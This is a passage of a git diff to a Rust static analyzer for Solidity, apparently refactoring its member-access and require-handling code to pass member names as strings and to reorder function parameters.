+42,7 @@ pub trait BuiltinAccess: | "staticcall(address, bytes)" => { // TODO: check if the address is known to be a certain type and the function signature is known // and call into the function - let builtin_name = ident.name.split('(').collect::>()[0]; + let builtin_name = name.split('(').collect::>()[0]; let func_node = self.builtin_fn_or_maybe_add(builtin_name).unwrap(); Ok(ExprRet::Single(func_node)) } @@ -76,7 +76,7 @@ pub trait BuiltinAccess: self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(node)) } - _ if ident.name.starts_with("send") => { + _ if name.starts_with("send") => { let bn = self.builtin_or_add(Builtin::Bool); let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) .into_expr_err(loc)?; @@ -85,12 +85,11 @@ pub trait BuiltinAccess: self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(node)) } - _ if ident.name.starts_with("transfer") => Ok(ExprRet::Multi(vec![])), + _ if name.starts_with("transfer") => Ok(ExprRet::Multi(vec![])), _ => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access on address: {:?}, ctx: {}", - ident.name, + "Unknown member access on address: \"{name}\", ctx: {}", ctx.path(self) ), )), @@ -99,12 +98,11 @@ pub trait BuiltinAccess: Builtin::Bool => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access on bool: {:?}, ctx: {}", - ident.name, + "Unknown member access on bool: \"{name}\", ctx: {}", ctx.path(self) ), )), - Builtin::String => match ident.name.split('(').collect::>()[0] { + Builtin::String => match name.split('(').collect::>()[0] { "concat" => { let fn_node = self.builtin_fn_or_maybe_add("concat").unwrap(); Ok(ExprRet::Single(fn_node)) @@ -112,25 +110,23 @@ pub trait BuiltinAccess: _ => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access on string: {:?}, ctx: {}", - ident.name, + "Unknown member access on string: \"{name}\", ctx: {}", ctx.path(self) ), )), }, Builtin::Bytes(size) => Err(ExprErr::MemberAccessNotFound( loc, - format!("Unknown member access on bytes{}: {:?}", size, ident.name), + format!("Unknown member access on bytes{}: {name}", size), )), Builtin::Rational => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access on rational: {:?}, ctx: {}", - ident.name, + "Unknown member access on rational: \"{name}\", ctx: {}", ctx.path(self) ), )), - Builtin::DynamicBytes => match ident.name.split('(').collect::>()[0] { + Builtin::DynamicBytes => match name.split('(').collect::>()[0] { "concat" => { let fn_node = self.builtin_fn_or_maybe_add("concat").unwrap(); Ok(ExprRet::Single(fn_node)) @@ -138,14 +134,13 @@ pub trait BuiltinAccess: _ => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access on bytes: {:?}, ctx: {}", - ident.name, + "Unknown member access on bytes: \"{name}\", ctx: {}", ctx.path(self) ), )), }, Builtin::Array(_) => { - if ident.name.starts_with("push") { + if name.starts_with("push") { if is_storage { let fn_node = self.builtin_fn_or_maybe_add("push").unwrap(); Ok(ExprRet::Single(fn_node)) @@ -155,7 +150,7 @@ pub trait BuiltinAccess: "Trying to push to nonstorage array is not supported".to_string(), )) } - } else if ident.name.starts_with("pop") { + } else if name.starts_with("pop") { if is_storage { let fn_node = self.builtin_fn_or_maybe_add("pop").unwrap(); Ok(ExprRet::Single(fn_node)) @@ -169,8 +164,7 @@ pub trait BuiltinAccess: Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access on array[]: {:?}, ctx: {}", - ident.name, + "Unknown member access on array[]: \"{name}\", ctx: {}", ctx.path(self) ), )) @@ -179,24 +173,21 @@ pub trait BuiltinAccess: Builtin::SizedArray(s, _) => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access on array[{s}]: {:?}, ctx: {}", - ident.name, + "Unknown member access on array[{s}]: \"{name}\", ctx: {}", ctx.path(self) ), )), Builtin::Mapping(_, _) => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access on mapping: {:?}, ctx: {}", - ident.name, + "Unknown member access on mapping: \"{name}\", ctx: {}", ctx.path(self) ), )), Builtin::Func(_, _) => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access on func: {:?}, ctx: {}", - ident.name, + "Unknown member access on func: \"{name}\", ctx: {}", ctx.path(self) ), )), @@ -206,7 +197,7 @@ pub trait BuiltinAccess: } else { I256::from_raw(U256::from(1u8) << U256::from(size - 1)) - I256::from(1) }; - match &*ident.name { + match name { "max" => { let c = Concrete::Int(size, max); let node = self.add_node(c).into(); @@ -245,7 +236,7 @@ pub trait BuiltinAccess: )), } } - Builtin::Uint(size) => match &*ident.name { + Builtin::Uint(size) => match name { "max" => { let max = if size == 256 { U256::MAX @@ -281,7 +272,7 @@ pub trait BuiltinAccess: Ok(ExprRet::Single(cvar)) } "call" | "delegatecall" | "staticcall" if size == 160 => { - let builtin_name = ident.name.split('(').collect::>()[0]; + let builtin_name = name.split('(').collect::>()[0]; let func_node = self.builtin_fn_or_maybe_add(builtin_name).unwrap(); Ok(ExprRet::Single(func_node)) } diff --git a/crates/solc-expressions/src/member_access/contract_access.rs b/crates/solc-expressions/src/member_access/contract_access.rs index a8183d66..e963dbac 100644 --- a/crates/solc-expressions/src/member_access/contract_access.rs +++ b/crates/solc-expressions/src/member_access/contract_access.rs @@ -1,10 +1,10 @@ use graph::{ - nodes::{Builtin, Concrete, ContextNode, ContextVar, ContractNode, ExprRet}, - AnalyzerBackend, ContextEdge, Edge, Node, + nodes::{Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ContractNode, ExprRet}, + AnalyzerBackend, ContextEdge, Edge, }; -use shared::{ExprErr, IntoExprErr, NodeIdx}; +use shared::{ExprErr, IntoExprErr}; -use solang_parser::pt::{Expression, Identifier, Loc}; +use solang_parser::pt::{Expression, Loc}; impl ContractAccess for T where T: AnalyzerBackend + Sized {} @@ -13,12 +13,11 @@ pub trait ContractAccess: AnalyzerBackend /// Perform member access on a contract fn contract_member_access( &mut self, - member_idx: NodeIdx, - con_node: ContractNode, - ident: &Identifier, ctx: ContextNode, + maybe_parent: Option, + con_node: ContractNode, + name: &str, loc: Loc, - maybe_parent: Option, ) -> Result { tracing::trace!( "Contract member access: {}.{}", @@ -26,27 +25,26 @@ pub trait ContractAccess: AnalyzerBackend .maybe_name(self) .into_expr_err(loc)? .unwrap_or_else(|| "interface".to_string()), - ident.name + name ); if let Some(func) = con_node .funcs(self) .into_iter() - .find(|func_node| func_node.name(self).unwrap() == ident.name) + .find(|func_node| func_node.name(self).unwrap() == name) { if let Some(func_cvar) = ContextVar::maybe_from_user_ty(self, loc, func.0.into()) { let fn_node = self.add_node(func_cvar); // this prevents attaching a dummy node to the parent which could cause a cycle in the graph - if maybe_parent.is_some() { - self.add_edge(fn_node, member_idx, Edge::Context(ContextEdge::FuncAccess)); + if let Some(parent) = maybe_parent { + self.add_edge(fn_node, parent, Edge::Context(ContextEdge::FuncAccess)); } Ok(ExprRet::Single(fn_node)) } else { Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unable to construct the function \"{}\" in contract \"{}\"", - ident.name, + "Unable to construct the function \"{name}\" in contract \"{}\"", con_node.name(self).into_expr_err(loc)? ), )) @@ -54,15 +52,15 @@ pub trait ContractAccess: AnalyzerBackend } else if let Some(func) = con_node .structs(self) .into_iter() - .find(|struct_node| struct_node.name(self).unwrap() == ident.name) + .find(|struct_node| struct_node.name(self).unwrap() == name) { if let Some(struct_cvar) = ContextVar::maybe_from_user_ty(self, loc, func.0.into()) { let struct_node = self.add_node(struct_cvar); // this prevents attaching a dummy node to the parent which could cause a cycle in the graph - if maybe_parent.is_some() { + if let Some(parent) = maybe_parent { self.add_edge( struct_node, - member_idx, + parent, Edge::Context(ContextEdge::StructAccess), ); } @@ -71,14 +69,13 @@ pub trait ContractAccess: AnalyzerBackend return Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unable to construct the struct \"{}\" in contract \"{}\"", - ident.name, + "Unable to construct the struct \"{name}\" in contract \"{}\"", con_node.name(self).into_expr_err(loc)? ), )); } } else { - match &*ident.name { + match name { "name" => { let c = Concrete::from(con_node.name(self).unwrap()); let cnode = self.add_node(c); @@ -112,7 +109,7 @@ pub trait ContractAccess: AnalyzerBackend // try to match just prefix if let Some(func) = con_node.funcs(self).into_iter().find(|func_node| { if let Some(prefix) = func_node.prefix_only_name(self).unwrap() { - prefix == ident.name + prefix == name } else { false } @@ -122,10 +119,10 @@ pub trait ContractAccess: AnalyzerBackend { let fn_node = self.add_node(func_cvar); // this prevents attaching a dummy node to the parent which could cause a cycle in the graph - if maybe_parent.is_some() { + if let Some(parent) = maybe_parent { self.add_edge( fn_node, - member_idx, + parent, Edge::Context(ContextEdge::FuncAccess), ); } @@ -134,8 +131,7 @@ pub trait ContractAccess: AnalyzerBackend Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unable to construct the function \"{}\" in contract \"{}\"", - ident.name, + "Unable to construct the function \"{name}\" in contract \"{}\"", con_node.name(self).into_expr_err(loc)? ), )) @@ -144,8 +140,7 @@ pub trait ContractAccess: AnalyzerBackend return Err(ExprErr::ContractFunctionNotFound( loc, format!( - "No function or struct with name {:?} in contract: {:?}. Functions: {:#?}", - ident.name, + "No function or struct with name \"{name}\" in contract: {:?}. Functions: {:#?}", con_node.name(self).unwrap(), con_node .funcs(self) diff --git a/crates/solc-expressions/src/member_access/enum_access.rs b/crates/solc-expressions/src/member_access/enum_access.rs index bdc42cfc..9f644daf 100644 --- a/crates/solc-expressions/src/member_access/enum_access.rs +++ b/crates/solc-expressions/src/member_access/enum_access.rs @@ -2,7 +2,7 @@ use crate::LibraryAccess; use graph::{ nodes::{ContextNode, ContextVar, EnumNode, ExprRet}, - AnalyzerBackend, ContextEdge, Edge, Node, + AnalyzerBackend, ContextEdge, Edge, }; use shared::{ExprErr, IntoExprErr, NodeIdx}; @@ -20,19 +20,18 @@ pub trait EnumAccess: /// Perform member access on an enum fn enum_member_access( &mut self, - _member_idx: NodeIdx, - enum_node: EnumNode, - ident: &Identifier, ctx: ContextNode, + enum_node: EnumNode, + name: &str, loc: Loc, ) -> Result { - tracing::trace!("Enum member access: {}", ident.name); + tracing::trace!("Enum member access: {}", name); if let Some(variant) = enum_node .variants(self) .into_expr_err(loc)? .iter() - .find(|variant| **variant == ident.name) + .find(|variant| **variant == name) { let var = ContextVar::new_from_enum_variant(self, ctx, loc, enum_node, variant.to_string()) @@ -41,14 +40,13 @@ pub trait EnumAccess: ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(cvar)) - } else if let Some(ret) = self.library_func_search(ctx, enum_node.0.into(), ident) { + } else if let Some(ret) = self.library_func_search(ctx, enum_node.0.into(), name) { Ok(ret) } else { Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access \"{}\" on enum \"{}\"", - ident.name, + "Unknown member access \"{name}\" on enum \"{}\"", enum_node.name(self).into_expr_err(loc)? ), )) diff --git a/crates/solc-expressions/src/member_access/library_access.rs b/crates/solc-expressions/src/member_access/library_access.rs index e2281ffa..33499d27 100644 --- a/crates/solc-expressions/src/member_access/library_access.rs +++ b/crates/solc-expressions/src/member_access/library_access.rs @@ -18,7 +18,7 @@ pub trait LibraryAccess: AnalyzerBackend + &mut self, ctx: ContextNode, ty: NodeIdx, - ident: &Identifier, + func_name: &str, ) -> Option { self.possible_library_funcs(ctx, ty) .iter() @@ -30,7 +30,7 @@ pub trait LibraryAccess: AnalyzerBackend + } }) .find_map(|(name, func)| { - if name == ident.name { + if name == func_name { Some(ExprRet::Single((*func).into())) } else { None diff --git a/crates/solc-expressions/src/member_access/list_access.rs b/crates/solc-expressions/src/member_access/list_access.rs index 7e9f6acd..cce2da7f 100644 --- a/crates/solc-expressions/src/member_access/list_access.rs +++ b/crates/solc-expressions/src/member_access/list_access.rs @@ -3,7 +3,7 @@ use crate::{ContextBuilder, ExpressionParser, Variable}; use graph::{ elem::*, nodes::{BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet}, - AnalyzerBackend, ContextEdge, Edge, Node, Range, SolcRange, VarType, + AnalyzerBackend, ContextEdge, Edge, Range, SolcRange, VarType, }; use shared::{ExprErr, IntoExprErr, RangeArena}; @@ -18,24 +18,11 @@ pub trait ListAccess: AnalyzerBackend + Si fn length( &mut self, arena: &mut RangeArena>, - loc: Loc, - input_expr: &Expression, ctx: ContextNode, + input: ExprRet, + loc: Loc, ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, input_expr, ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Attempted to perform member access without a left-hand side".to_string(), - )); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.match_length(arena, ctx, loc, ret, true) - }) + self.match_length(arena, ctx, input, loc) } #[tracing::instrument(level = "trace", skip_all)] @@ -44,9 +31,8 @@ pub trait ListAccess: AnalyzerBackend + Si &mut self, arena: &mut RangeArena>, ctx: ContextNode, - loc: Loc, elem_path: ExprRet, - _update_len_bound: bool, + loc: Loc, ) -> Result<(), ExprErr> { match elem_path { ExprRet::Null => { @@ -55,7 +41,7 @@ pub trait ListAccess: AnalyzerBackend + Si } ExprRet::CtxKilled(kind) => ctx.kill(self, loc, kind).into_expr_err(loc), ExprRet::Single(arr) => { - self.get_length(arena, ctx, loc, arr.into(), false)?; + self.get_length(arena, ctx, arr.into(), false, loc)?; Ok(()) } e => todo!("here: {e:?}"), @@ -66,9 +52,9 @@ pub trait ListAccess: AnalyzerBackend + Si &mut self, arena: &mut RangeArena>, ctx: ContextNode, - loc: Loc, array: ContextVarNode, return_var: bool, + loc: Loc, ) -> Result, ExprErr> { let next_arr = self.advance_var_in_ctx( array.latest_version_or_inherited_in_ctx(ctx, self), @@ -90,7 +76,7 @@ pub trait ListAccess: AnalyzerBackend + Si Ok(Some(len_node)) } } else { - self.create_length(arena, ctx, loc, array, next_arr, return_var) + self.create_length(arena, ctx, array, next_arr, return_var, loc) } } @@ -98,10 +84,10 @@ pub trait ListAccess: AnalyzerBackend + Si &mut self, arena: &mut RangeArena>, ctx: ContextNode, - loc: Loc, array: ContextVarNode, target_array: ContextVarNode, return_var: bool, + loc: Loc, ) -> Result, ExprErr> { // no length variable, create one let name = format!("{}.length", array.name(self).into_expr_err(loc)?); diff --git a/crates/solc-expressions/src/member_access/member_trait.rs b/crates/solc-expressions/src/member_access/member_trait.rs index 23c6f535..550c203a 100644 --- a/crates/solc-expressions/src/member_access/member_trait.rs +++ b/crates/solc-expressions/src/member_access/member_trait.rs @@ -40,49 +40,36 @@ pub trait MemberAccess: fn member_access( &mut self, arena: &mut RangeArena>, - loc: Loc, - member_expr: &Expression, - ident: &Identifier, ctx: ContextNode, + member: ExprRet, + name: &str, + loc: Loc, ) -> Result<(), ExprErr> { // TODO: this is wrong as it overwrites a function call of the form elem.length(...) i believe - if ident.name == "length" { - return self.length(arena, loc, member_expr, ctx); + if name == "length" { + return self.length(arena, ctx, member, loc); } - self.parse_ctx_expr(arena, member_expr, ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Attempted to perform member access without a left-hand side".to_string(), - )); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.match_member(ctx, loc, ident, ret) - }) + self.match_member(ctx, member, name, loc) } /// Match on [`ExprRet`]s and call the member access for each fn match_member( &mut self, ctx: ContextNode, + member: ExprRet, + name: &str, loc: Loc, - ident: &Identifier, - ret: ExprRet, ) -> Result<(), ExprErr> { - match ret { + match member { ExprRet::Single(idx) | ExprRet::SingleLiteral(idx) => { - ctx.push_expr(self.member_access_inner(loc, idx, ident, ctx)?, self) + ctx.push_expr(self.member_access_inner(ctx, idx, name, loc)?, self) .into_expr_err(loc)?; Ok(()) } ExprRet::Multi(inner) => inner .into_iter() - .try_for_each(|ret| self.match_member(ctx, loc, ident, ret)), + .try_for_each(|member| self.match_member(ctx, member, name, loc)), ExprRet::CtxKilled(kind) => ctx.kill(self, loc, kind).into_expr_err(loc), ExprRet::Null => Ok(()), } @@ -91,41 +78,35 @@ pub trait MemberAccess: /// Perform the member access fn member_access_inner( &mut self, - loc: Loc, - member_idx: NodeIdx, - ident: &Identifier, ctx: ContextNode, + member_idx: NodeIdx, + name: &str, + loc: Loc, ) -> Result { match self.node(member_idx) { - Node::ContextVar(cvar) => { - self.member_access_var_ty(cvar.clone(), loc, member_idx, ident, ctx) + Node::ContextVar(_) => { + self.member_access_var(ctx, ContextVarNode::from(member_idx), name, loc) } - Node::Contract(_c) => self.contract_member_access( - member_idx, - ContractNode::from(member_idx), - ident, - ctx, - loc, - None, - ), - Node::Struct(_c) => self.struct_member_access( - member_idx, - StructNode::from(member_idx), - ident, - ctx, - loc, - None, - ), - Node::Enum(_c) => { - self.enum_member_access(member_idx, EnumNode::from(member_idx), ident, ctx, loc) + Node::Contract(_c) => { + self.contract_member_access(ctx, None, ContractNode::from(member_idx), name, loc) } - Node::Ty(_ty) => { - self.ty_member_access(member_idx, TyNode::from(member_idx), ident, ctx, loc, None) + Node::Struct(_c) => { + let var = + self.add_node(ContextVar::maybe_from_user_ty(self, loc, member_idx).unwrap()); + self.struct_var_member_access( + ctx, + var.into(), + StructNode::from(member_idx), + name, + loc, + ) } - Node::Msg(_msg) => self.msg_access(loc, ctx, &ident.name), - Node::Block(_b) => self.block_access(loc, ctx, &ident.name), + Node::Enum(_c) => self.enum_member_access(ctx, EnumNode::from(member_idx), name, loc), + Node::Ty(_ty) => self.ty_member_access(ctx, TyNode::from(member_idx), name, loc), + Node::Msg(_msg) => self.msg_access(ctx, name, loc), + Node::Block(_b) => self.block_access(ctx, name, loc), Node::Builtin(ref _b) => { - self.builtin_member_access(loc, ctx, BuiltInNode::from(member_idx), false, ident) + self.builtin_member_access(ctx, BuiltInNode::from(member_idx), name, false, loc) } e => Err(ExprErr::Todo( loc, @@ -222,55 +203,50 @@ pub trait MemberAccess: } /// Perform member access for a variable type - fn member_access_var_ty( + fn member_access_var( &mut self, - cvar: ContextVar, - loc: Loc, - member_idx: NodeIdx, - ident: &Identifier, ctx: ContextNode, + cvar: ContextVarNode, + name: &str, + loc: Loc, ) -> Result { - match &cvar.ty { + match cvar.ty(self).into_expr_err(loc)? { VarType::User(TypeNode::Struct(struct_node), _) => { - self.struct_member_access(member_idx, *struct_node, ident, ctx, loc, Some(cvar)) + self.struct_var_member_access(ctx, cvar, *struct_node, name, loc) } VarType::User(TypeNode::Enum(enum_node), _) => { - self.enum_member_access(member_idx, *enum_node, ident, ctx, loc) + self.enum_member_access(ctx, *enum_node, name, loc) } VarType::User(TypeNode::Func(func_node), _) => { - self.func_member_access(*func_node, ident, ctx, loc) + self.func_member_access(ctx, *func_node, name, loc) } VarType::User(TypeNode::Ty(ty_node), _) => { - self.ty_member_access(member_idx, *ty_node, ident, ctx, loc, Some(cvar)) + self.ty_member_access(ctx, *ty_node, name, loc) } VarType::User(TypeNode::Contract(con_node), _) => { - self.contract_member_access(member_idx, *con_node, ident, ctx, loc, Some(cvar)) + self.contract_member_access(ctx, Some(cvar), *con_node, name, loc) } VarType::BuiltIn(bn, _) => self.builtin_member_access( - loc, ctx, *bn, - ContextVarNode::from(member_idx) - .is_storage(self) - .into_expr_err(loc)?, - ident, + name, + cvar.is_storage(self).into_expr_err(loc)?, + loc, ), VarType::Concrete(cn) => { let builtin = cn.underlying(self).into_expr_err(loc)?.as_builtin(); let bn = self.builtin_or_add(builtin).into(); self.builtin_member_access( - loc, ctx, bn, - ContextVarNode::from(member_idx) - .is_storage(self) - .into_expr_err(loc)?, - ident, + name, + cvar.is_storage(self).into_expr_err(loc)?, + loc, ) } e => Err(ExprErr::UnhandledCombo( loc, - format!("Unhandled member access: {:?}, {:?}", e, ident), + format!("Unhandled member access: {:?}, {:?}", e, name), )), } } @@ -278,15 +254,13 @@ pub trait MemberAccess: /// Perform a `TyNode` member access fn ty_member_access( &mut self, - _member_idx: NodeIdx, - ty_node: TyNode, - ident: &Identifier, ctx: ContextNode, + ty_node: TyNode, + name: &str, loc: Loc, - _maybe_parent: Option, ) -> Result { - let name = ident.name.split('(').collect::>()[0]; - if let Some(func) = self.library_func_search(ctx, ty_node.0.into(), ident) { + let name = name.split('(').collect::>()[0]; + if let Some(func) = self.library_func_search(ctx, ty_node.0.into(), name) { Ok(func) } else if let Some(func) = self.builtin_fn_or_maybe_add(name) { Ok(ExprRet::Single(func)) @@ -294,8 +268,7 @@ pub trait MemberAccess: Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access \"{}\" on struct \"{}\"", - ident.name, + "Unknown member access \"{name}\" on struct \"{}\"", ty_node.name(self).into_expr_err(loc)? ), )) @@ -305,18 +278,18 @@ pub trait MemberAccess: /// Access function members fn func_member_access( &mut self, - func_node: FunctionNode, - ident: &Identifier, ctx: ContextNode, + func_node: FunctionNode, + name: &str, loc: Loc, ) -> Result { let prefix_only_name = func_node .prefix_only_name(self) .into_expr_err(loc)? .unwrap(); - let name = format!("{}.{}", prefix_only_name, ident.name); - tracing::trace!("Function member access: {}", name); - match &*ident.name { + let func_mem_name = format!("{}.{}", prefix_only_name, name); + tracing::trace!("Function member access: {}", func_mem_name); + match &*func_mem_name { "selector" => { let mut out = [0; 32]; keccak_hash::keccak_256(prefix_only_name.as_bytes(), &mut out); @@ -331,8 +304,8 @@ pub trait MemberAccess: _ => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access \"{}\" on function \"{}\"", - ident.name, prefix_only_name + "Unknown member access \"{name}\" on function \"{}\"", + prefix_only_name ), )), } diff --git a/crates/solc-expressions/src/member_access/struct_access.rs b/crates/solc-expressions/src/member_access/struct_access.rs index 82b57af2..30f118cb 100644 --- a/crates/solc-expressions/src/member_access/struct_access.rs +++ b/crates/solc-expressions/src/member_access/struct_access.rs @@ -2,7 +2,7 @@ use crate::LibraryAccess; use graph::{ nodes::{ContextNode, ContextVar, ContextVarNode, ExprRet, StructNode}, - AnalyzerBackend, ContextEdge, Edge, Node, + AnalyzerBackend, ContextEdge, Edge, }; use shared::{ExprErr, IntoExprErr, NodeIdx}; @@ -17,65 +17,46 @@ pub trait StructAccess: LibraryAccess + AnalyzerBackend + Sized { /// Perform member access on a struct - fn struct_member_access( + fn struct_var_member_access( &mut self, - member_idx: NodeIdx, - struct_node: StructNode, - ident: &Identifier, ctx: ContextNode, + cvar: ContextVarNode, + struct_node: StructNode, + field_name: &str, loc: Loc, - maybe_parent: Option, ) -> Result { - let name = format!( - "{}.{}", - if member_idx.index() != struct_node.0 { - ContextVarNode::from(member_idx).name(self).unwrap() - } else { - struct_node.name(self).into_expr_err(loc)? - }, - ident.name - ); - tracing::trace!("Struct member access: {}", name); - if let Some(field) = ctx - .struct_field_access_by_name_recurse(self, loc, &name) - .into_expr_err(loc)? - { - Ok(ExprRet::Single( - field.latest_version_or_inherited_in_ctx(ctx, self).into(), - )) - } else if let Some(field) = struct_node.find_field(self, ident) { - println!("here1234"); - let cvar = if let Some(parent) = maybe_parent { - parent - } else { - ContextVar::maybe_from_user_ty(self, loc, struct_node.into()).unwrap() - }; + let cvar_name = cvar.name(self).unwrap(); + let name = format!("{cvar_name}.{field_name}"); + tracing::trace!("Struct member access: {cvar_name}.{field_name}"); + + if let Some(field) = cvar.field_of_struct(field_name, self).into_expr_err(loc)? { + return Ok(ExprRet::Single(field.into())); + } + + if let Some(field) = struct_node.find_field(self, field_name) { if let Some(field_cvar) = ContextVar::maybe_new_from_field( self, loc, - &cvar, + cvar.underlying(self).unwrap(), field.underlying(self).unwrap().clone(), ) { let fc_node = self.add_node(field_cvar); self.add_edge( fc_node, - ContextVarNode::from(member_idx).first_version(self), + cvar.first_version(self), Edge::Context(ContextEdge::AttrAccess("field")), ); - // ctx.add_var(fc_node.into(), self).into_expr_err(loc)?; - // self.add_edge(fc_node, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(fc_node)) } else { panic!("Couldn't create field variable"); } - } else if let Some(func) = self.library_func_search(ctx, struct_node.0.into(), ident) { + } else if let Some(func) = self.library_func_search(ctx, struct_node.0.into(), &name) { Ok(func) } else { Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access \"{}\" on struct \"{}\"", - ident.name, + "Unknown member access \"{name}\" on struct \"{}\"", struct_node.name(self).into_expr_err(loc)? ), )) diff --git a/crates/solc-expressions/src/require.rs b/crates/solc-expressions/src/require.rs index 55e971f0..4706bc02 100644 --- a/crates/solc-expressions/src/require.rs +++ b/crates/solc-expressions/src/require.rs @@ -45,552 +45,552 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { } } - /// Handles a require expression - #[tracing::instrument(level = "trace", skip_all)] - fn handle_require( - &mut self, - arena: &mut RangeArena>, - inputs: &[Expression], - ctx: ContextNode, - ) -> Result<(), ExprErr> { - ctx.add_gas_cost(self, shared::gas::BIN_OP_GAS) - .into_expr_err(inputs[0].loc())?; - match inputs.first().expect("No lhs input for require statement") { - Expression::Equal(loc, lhs, rhs) => { - self.parse_ctx_expr(arena, rhs, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Require operation `==` had no right hand side".to_string(), - )); - }; - - let rhs_paths = rhs_paths.flatten(); - - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - analyzer.parse_ctx_expr(arena, lhs, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Require operation `==` had no left hand side".to_string(), - )); - }; - - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.handle_require_inner( - arena, - ctx, - loc, - &lhs_paths.flatten(), - &rhs_paths, - RangeOp::Eq, - ) - }) - }) - } - Expression::NotEqual(loc, lhs, rhs) => { - self.parse_ctx_expr(arena, rhs, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Require operation `!=` had no right hand side".to_string(), - )); - }; - let rhs_paths = rhs_paths.flatten(); - - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.parse_ctx_expr(arena, lhs, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Require operation `!=` had no left hand side".to_string(), - )); - }; - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.handle_require_inner( - arena, - ctx, - loc, - &lhs_paths.flatten(), - &rhs_paths, - RangeOp::Neq, - ) - }) - }) - } - Expression::Less(loc, lhs, rhs) => { - self.parse_ctx_expr(arena, rhs, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Require operation `<` had no right hand side".to_string(), - )); - }; - let rhs_paths = rhs_paths.flatten(); - - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - analyzer.parse_ctx_expr(arena, lhs, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Require operation `<` had no left hand side".to_string(), - )); - }; - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.handle_require_inner( - arena, - ctx, - loc, - &lhs_paths.flatten(), - &rhs_paths, - RangeOp::Lt, - ) - }) - }) - } - Expression::More(loc, lhs, rhs) => { - self.parse_ctx_expr(arena, rhs, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Require operation `>` had no right hand side".to_string(), - )); - }; - let rhs_paths = rhs_paths.flatten(); - - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - analyzer.parse_ctx_expr(arena, lhs, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = - ctx.pop_expr_latest(loc, 